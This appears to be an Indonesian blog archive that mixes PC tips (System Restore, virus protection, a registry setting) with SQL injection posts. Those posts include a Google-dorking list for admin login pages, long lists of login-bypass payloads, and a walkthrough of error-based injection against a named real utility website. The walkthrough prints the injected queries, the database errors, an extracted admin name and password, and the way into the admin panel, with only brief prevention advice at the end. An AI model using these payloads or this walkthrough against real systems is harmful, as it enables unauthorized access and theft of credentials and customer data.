Tuesday, August 12, 2008

Wednesday, April 11, 2007

My SQL Injection

Sedikit review about SQL injection
SQL Injection adalah memasukkan kode-kode SQL untuk mendapatkan akses ke database yang lebih besar daripada yang seharusnya kita dapatkan, terutama pada script yang tidak memvalidasi input dari user.

SQL Injection sebenarnya sudah sering dibahas dimana-mana, tetapi ternyata masih banyak webmaster yang belum tahu atau tidak peduli akan kelemahan ini.

Apa saja yang diperlukan untuk melakukan SQL Injection ?
1. Internet Explorer (wajib)
2. PC yang terhubung ke Internet (wajib, kecuali Anda mau hack PC Anda sendiri)
3. Segelas kopi untuk menghilangkan rasa kantuk (optional)
4. Metallica (optional)

OK, langsung saja kita praktekkan, supaya lebih jelas.

Pertama bukalah [link] (google pancen oye) untuk mencari script yang terhubung ke database. Masukkan salah satu keyword di bawah ini(lengkap dengan tanda petiknya) :
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
“/admin/adminlogin.asp”
“/admin/adminlogon.asp”
“/admin/admin_login.asp”
“/admin/admin_logon.asp”
“/administrator/admin.asp”
“/administrator/login.asp”
“/administrator/logon.asp”
“root/login.asp”
“admin/index.asp”

Anda bisa menambahkan daftarnya berdasarkan kreatifitas Anda sendiri. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name dan password).

Masukkan kode-kode berikut,
User name : ` or `a’='a
Password : ` or `a’='a
(termasuk tanda petiknya)

Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google. Menurut pengalaman saya, dari sekitar 20 link yang saya coba, ada satu atau dua yang berhasil.

Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’='a

Di bawah ini bisa dimasukkan baik ke user name maupun password :
‘ or 0=0 –
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (’x'=’x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (’a'=’a
“) or (”a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (’a'=’a
hi”) or (”a”=”a

Anda masih bisa memperpanjang daftarnya sesuai kreatifitas Anda.

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

diambil dari tutorial yang tersebar di internet

=======================================================
Hingga Maret 2006, masih saja terdapat situs web di Republik Indonesia yang dibobol dengan teknik SQL Injection. Anda tahu betapa berbahaya bug yang satu ini ? Berikut akan kita sajikan step by step SQL Injection ini yang diambil dari langsung tulisan iko (iko94@yahoo.com)

Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject dengan jalan berjalan-jalan (enumeration) dulu di site tsb. Kita akan menemukan 2 model cara input parameter, yaitu dengan cara memasukkan lewat input box dan memasukkannya lewat alamat URL.

Kita ambil yang termudah dulu, dengan cara input box. Kemudian kita cari kotak login yang untuk admin.Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya, kita inject kotak NIP dengan perintah (password terserah, cabang biarkan aja):
‘ having 1=1–
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
Kemudian akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NOMOR’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya, beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
‘ group by T_ADMIN.NOMOR having 1=1–
Akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.NIP’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1–
Akan keluar pesan error:
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘T_ADMIN.PASSWORD’ is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
——————–
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
‘ group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ ADMIN.EMAIL
having 1=1–
(catatan : kalimat harus 1 baris, tidak dipotong)
——————–
- NIP atau Password atau Unit Anda salah !! -
——————–
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
‘ union select sum(NOMOR) from T_ADMIN–
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
——————–
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
‘ union select sum(NIP) from T_ADMIN–
Akan keluar pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
——————–
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
‘ union select sum(nama_kolom) from T_ADMIN–
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
‘ union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > ‘a’–
artinya kita memilih minimum nama user yang lebih besar dari ‘a’
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
——————–
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value ‘bill ‘ to
a column of data type int.
/sipm/admin/dologin.asp, line 7
——————–
Anda lihat :
varchar value ‘bill ‘
‘bill’ itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
‘ union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = ‘bill’–
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
———————
Microsoft OLE DB Provider for ODBC Drivers (0×80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value ‘m@mpusk@u’ to a
column of data type int.
/sipm/admin/dologin.asp, line 7
———————
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba

Atau kita pakai jalan pintas saja….

Kita inject-kan :
‘ union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA =’bill’–
catatan : harus satu baris.
Duarrrrrr……….
Glhodhak………….
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
http://www.pln-wilkaltim.co.id/dari_…&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1–
akan keluar pesan error :
—————————
Microsoft OLE DB Provider for ODBC Drivers (0×80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
‘tb_news.NewsId’ is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
—————————
artinya ‘tb_news.NewsId’ itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.

************************************************** ****
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
************************************************** ****
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah “Startup and run SQL Server” menggunakan low privilege user
di SQL Server Security tab.

Kayaknya yang satu ini, penting deh…

jadi gue ambil aja…

Di Copy Paste dari Bagus Bad_boy… (Virologi>info)

Saturday, April 7, 2007

Backup & Restore Software

Siap-siap menghadapi masalah

Kadang-kadang tanpa peringatan lebih dulu, komputer kita tiba-tiba mogok. Windows lagi mogok aksi. Biasanya karena masalah file yang corrupt atau system file yang terganggu, konflik sftware/driver, dll. Untuk menghadapi masalah seperti ini, biasakanlah untuk mem-backup system pada periode-periode tertentu. Sehingga bila tiba-tiba Windows bermasalash kita bisa mengembalikan kondisinya ke saat komputer kita masih fit. Fasilitas yang digunakan adalah System Restore, caranya:

1. Klik tombol Start
2. Klik All Programs
3. Pilih Accesories
4. Pilih System Tools
5. Klik System Restore
6. Akan muncul layar System Restore
7. Klik pilihan Restore My Computer to an Earlier Time
8. Klik tombol Next di bagian kanan bawah
9. Akan muncul layar popup kalender. Pilih tanggal yang akan dipilih (tanggal dimana system pernah di backup, biasanya tanggalnya dalam format bold) yang kita tahu pada saat itu kondisi komputer segar bugar; lalu tekan tombol Next.
10. Untuk meng-konfirmasi pilihan anda tekan tombol Next.
11. Proses Restore System dimulai. Bila selesai, maka komputer akan Restart secara otomatis.

Tips:

* Biasakanlah membackup system secara berkala
* Backup-lah system anda dalam kondisi yang baik, dan upayakan bebas dari virus. Karena bila tidak, maka pada saat di restore, virus yang ada juga ikut di restore.
* Backup-lah system anda sebelum meng-install software baru, sehingga bila terjadi konflik dan komputer anda bermasalah, maka dapat segera dikembalikan ke kondisi semula.
* Backup-lah system anda setelah menginstall software baru dan anda yakin aplikasi tersebut berjalan dengan baik. Itu berarti anda memiliki backup system dalam kondisi terbaru.
* Untuk memudahkan menjalankan System Restore, buatlah shortcut-nya dan letakkan di desktop atau di "paku" (pin) di menu Start (Start->All Programs->Accesories->System Tools, kemudian klik kanan pada System Restore dan klik Pin to Start Menu).




Tentang Virus

Cara Mudah Proteksi komputer anda dari virus tanpa program Antivirus & Firewall

Untuk mencegah virus, trojan, worm dan sejenisnya dengan memakai antivirus?, belum tentu berguna. Karena virus selalu lebih baru dari antivirus, kalau proteksi dengan program firewall & Antivirus RTS? (Real Time System), bisa juga... cumannya komputer anda akan berjalan lebih lambat, karena program tersebut residen di memory dan memakan system resource lagi pula setiap anda membuka program baru, selalu akan muncul pertanyaan apakah program ini boleh dijalankan.

Jadi solusi yang aman, cepat dan praktis bagaimana? Nah baca lebih lanjut artikel ini. Artikel ini sengaja ditulis bagi anda yang ingin mencegah kerusakan system, file dan data anda tanpa perlu campur tangan antivirus dan firewall alias MANUAL.

Pertama-tama akan kami jelaskan definisi dan bagaimana virus, trojan, worm dan sejenisnya bisa masuk ke dalam sistem komputer anda.

1. Virus sebenarnya lain dengan trojan atau worm, tapi pada prakteknya penyebarannya virus banyak di maanfaatkan oleh program worm dan trojan. Trojan adalah sebuah program yang dapat dijalankan (biasanya ber-ekstension EXE) oleh pengguna komputer dan ketika program tersebut dijalankan, dia akan merubah sesuatu dari sistem komputer kita (pada umumnya registri windows yang diubah). Nah kalau virus itu residen di memori dan dia akan merubah file yang biasanya ber-ekstension EXE atau COM dan kadang-kadang file tersebut menjadi rusak. Kalau worm (cacing) merupakan program kecil yang berupa script yang bisa nempel di mana aja, bahkan bisa nempel di html file (file website).
Program antivirus pada umumnya menggabungkan semua worm dan trojan dalam kategori VIRUS, cuma mungkin dikasih kode virusnya contoh yang worm di kasih kode W depannya baru nama worm tersebut (contoh: w32/sober) dan kita juga akan menggangapnya sama karena semua itu merusak sistem file komputer. Intinya virus bisa berupa atau berfungsi seperti trojan/worm dan sebaliknya juga, apalagi kalau file tersebut telah ter-infeksi, otomatis akan menjadi file trojan/worm juga, karena kalau pengguna membukanya akan meng-infeksi file-file lainnya.

2. Penyebaran virus dulunya hanya bisa melalui media luar seperti disktet, tapi di jaman ini virus pada umumnya memanfaatkan teknologi internet untuk menyebar luas. Cara masuknya bisa melalui E-mail (attachment), mirc, messenger (kirim/download file), download dr situs (terutama situs porno) atau bahkan memanfaatkan kelemahan dari sistem browser kita. Banyak cara pembuat virus untuk menjebak orang supaya tertarik untuk men-download dan membuka file yang ber-virus, antara lain dengan iming-iming gambar porno, gambar lucu, tools yang berguna buat anda, cara dapat uang, games bagus, hingga yang baru-baru ada pesan dr FBI/CIA untuk anda.



Sebenarnya cara mengatasi virus itu cukup mudah, antara lain:

1. Jangan membuka atau menerima file yang di dapat dr email, mirc dan messenger kalau anda belum kenal dengan pengirimnya dan belum yakin file itu berisi virus.
2. Kalau anda browser ke situs yang tidak anda kenal, matikan program java & java script. Matikan juga fitur install auto atau install on demand supaya program yang berisi virus tidak akan masuk secara otomatis ke komputer anda.
3. Kalau membuka disket, CD, DVD, USB drive dan media luar apapun bentuknya, scan dahulu dengan program antivirus untuk memastikan itu benar-benar aman.

Tips di atas mungkin akan mencegah masuknya virus ke komputer anda, tapi tidak akan 100% pasti komputer anda tidak terkena virus, bisa saja anda kecolongan. Lebih dari 90% komputer yang terkoneksi di Internet pernah terkena virus. Nah untuk mengatasi supaya anda aman dari virus, walaupun virus tersebut sempat masuk ke komputer anda, berikut ini adalah caranya:

1. Virus pada umumnya akan merusak dan memperlambat proses kerja komputer. Untuk menghindari kerusakan yang ditimbulkan virus, anda harus punya cadangan penyimpanan data atau file system. Untuk itulah backup system & data sangat diperlukan, apalagi kita tidak akan mengetahui virus di masa yang akan datang akan secanggih apa dan efek kerusakan yang ditimbulkan sejauh apa. cara backup pada winXp dan winme dengan create restore point dahulu di program> accesories> system tools> system restore, win98 bisa pakai Microsoft Backup dengan membackup folder windows semuanya. Khusus untuk data, Winxp dan winme juga harus menggunakan Microsoft Backup, karena system restore tidak 100% mengembalikan data anda.

Kalau anda males melakukannya secara manual, winxp dan winme sudah otomatis melakukannya setiap anda mematikan komputer anda, Untuk win98 satu-satunya cara hanya memakai program system schedule windows atau program lainnya yang berfungsi sebagai otomatis backup, ketika komputer lagi idle. tapi untuk pastinya, winxp dan winme juga harus memakai program tersebut supaya bila terjadi apa-apa, anda tinggal me-restore kembali. Bila komputer anda hari ini terkena virus, anda tinggal restore system sebelumnya atau yang kemarin.

2. Cara ini adalah untuk mencegah virus merusak file system kita yang biasanya berakhiran EXE, dan Sebelum anda melakukan hal ini, anda harus terlebih dahulu membackup system windows anda (baca keterangan no 1 di atas), karena penulis takut anda melakukan kesalahan yang dapat berakibat fatal terhadap system anda. Anda juga harus mempunyai dasar Windows untuk melakukan ini, kalau tidak, anda akan bingung dan kesulitan untuk memahaminya.

Caranya cukup mudah, anda tinggal merubah attribut dari file EXE anda menjadi READ ONLY alias cuma bisa dibaca, tidak bisa ditulis. caranya bisa anda menggunakan SEARCH dari windows anda, kemudian cari semua program yang ber-ektenstion EXE (search key-nya *.exe) di folder windows. Setelah itu blok semua program yang tampil (atau tekan ctrl+a) terus klik kanan pilih properties. Setelah itu pilih READ-ONLY di bagian bawah kotak pilihan atributes. Bagi yang tahu DOS (command prompt) bisa menggunakan perintah ATTRIB, fungsinya sama saja dengan cara di atas. contoh: c:\windows>attrib +r *.exe

Hal ini akan mencegah virus untuk merubah atau merusak file-file tersebut, karena pilihan tadi mematikan fitur untuk merubah file-file tersebut. Kalau anda ingin lebih yakin virus bisa mendeteksi hal tersebut, anda bisa tambahkan pilihan HIDDEN (menyembunyikan file tersebut) di sebelah kanan dari READ ONLY. Dengan kedua pilihan tersebut virus-virus pada umumnya tidak akan dapat menginfeksi file tersebut. Kalau anda ingin menampakan file HIDDEN ketika membuka folder di komputer anda, anda bisa pilih "show all hidden files" di "folder option".


Anda juga bisa melakukan hal di atas ke semua folder komputer anda, kalau anda merasa hal ini perlu dilakukan, atau mungkin dilakukan juga ke file lain yang bukan ber-ekstensi EXE atau COM. Cara ini adalah cara yang paling efektif dan telah diuji coba oleh penulis. Satu hal yang penting diketahui, kalau anda ingin melakukan penghapusan atau perubahaan ataupun anda sering meng-update file yang ber-ekstensi EXE tersebut, anda harus ingat untuk membuka proteksi read-only atau hidden tersebut. Kalau tidak file tersebut tidak akan bisa dihapus atau diupdate, dan akan muncul pesan error.

Ini adalah salah satu cara untuk memproteksi file, cara lainnya dan cara Untuk mengetahui cara virus merusak/merubah file, membasmi atau menghapus virus secara manual, akan penulis bahas di kesempatan lain.

The other Trik

Disable klik kanan pada Dekstop & Windows Explorer

Jika Anda meng-enable setting di bawah ini maka tidak ada yang bisa melakukan klik kanan pada Desktop & Windows Explorer. Dengan kata lain menu yang muncul waktu klik kanan tidak ada lagi.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer
Value Name: NoViewContextMenu
Data Type: DWORD Value
Data: (0 = disabled, 1 = enabled)

Untuk melihat perubahannya Anda perlu melakukan restart..

Friday, April 6, 2007

My Hacking Archive

Konsep dasar SQL Injection


SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yg ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dgn program2 database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.

SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius. Mengapa disebut SQL Injection ? seperti yg kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu "suntikan". Yang terjadi memang seperti melakukan suntikan terhadap SQL yg tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.

Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.

Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.

Input Query String

Default setting dari SQL menggunakan :

adminID = sa

password ='' (kosong atau blank)

misalnya : http://www.target.com/login.asp?adminID=sa%20password=''

%20 artinya menggantikan "jarak spasi"

Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.

Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :

SQLQuery="SELECT Username FROM Users WHERE Username="'&strUsername&"'strpassword&"'

Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yg sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.

Contoh : menggunakan injection string 'OR''= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :

SELECT Username FROM Users WHERE Username=''OR''='' AND Password=''OR''=''

Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.

Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :

'or 1=1--

'or 0=0 --

'or 'x'='x

'or a=a-

"or 0=0 --

"or 0=0 #

"or "x"="x

")or("a"="a

admin'--

hi" or 1=1 --

hi' or'a'='a

hi")or("a"="a

or 0=0 #

'or a=a--

'or 0=0 #

'having 1=1--

"or 1=1--

"or "a"="a

')or('a'='a

')or('x'='x

hi" or "a"="a

hi' or 1=1 --

hi')or('a'='a

or 0=0 --

or 1=1--

Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :

'UPDATE YEPCell_memberDB set Credits=100 wher UserID='yamakasi'

SQl Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com